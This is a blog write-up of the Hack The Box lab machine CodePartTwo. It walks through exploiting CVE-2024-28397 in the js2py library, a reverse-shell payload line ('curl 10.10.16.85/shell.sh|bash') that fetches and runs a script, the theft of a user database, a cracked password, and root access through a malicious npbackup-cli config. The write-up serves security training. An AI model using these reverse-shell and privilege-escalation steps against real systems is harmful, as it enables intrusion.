Hackthebox: CodePartTwo
Overview
CodePartTwo is an easy-difficulty machine from Hack The Box dealing initially with a web application providing us with source code where we will discover a malicious js2py library usage and exploit it through CVE-2024-28397 to get initiall shell then exfiltrate users database and get the user flag. For root, we will abuse npbackup-cli by creating a malicious conf file passing it to it and get privileged access.

Reconnaissance
1 | PORT STATE SERVICE VERSION |
We can see that we have our usual ssh 22 port and a web application deployed on port 8000.
Web Application -http://10.10.11.82:8000/
From the web application we can download the app and then have a look at app.py:
1 | from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory |
We can clearly see it is utilizing js2py library which is vulnerable to CVE-2024-28397-command-execution-poc/payload.js at main · waleed-hassan569/CVE-2024-28397-command-execution-poc
We will create our shell.sh reverse shell script and then create our CVE exploit:
1 | let cmd = "curl 10.10.16.85/shell.sh|bash" |
And we successfully get a callback after:
1 | └─$ rlwrap nc -lvnp 9001 |
Attempting to do usual initial exfiltration, we look for database files:
1 | $ ls instance |
We find users.db which we exfiltrate and read its’ contents:
1 | $ cat users.db |
We crack the respective hash for the marco user:
marco:sweetangelbabylove
And we get the user flag:
1 | marco@codetwo:~$ cat user.txt |
Privilege Escalation
Checking what marco user can run as sudo:
1 | marco@codetwo:~$ sudo -l |
We cam see he can run npbackup-cli
1 | npbackup-cli is the command-line interface (CLI) component of NPBackup, a secure and efficient file backup solution built on top of the restic backup program. |
We will create a malicious npb file with a reverse shell script and run the binary on it:
1 | marco@codetwo:~$ cat > /home/marco/npb <<'END' |
And we do indeed receive a reverse shell as root and obtain the root flag:
1 | └─$ rlwrap nc -lvnp 9001 |
That was it for CodePartTwo, hope you learned something new!!
-0xkujen
- Title: Hackthebox: CodePartTwo
- Author: Foued SAIDI
- Created at : 2026-01-31 18:41:58
- Updated at : 2026-01-31 19:01:40
- Link: https://kujen5.github.io/2026/01/31/Hackthebox-CodePartTwo/
- License: This work is licensed under CC BY-NC-SA 4.0.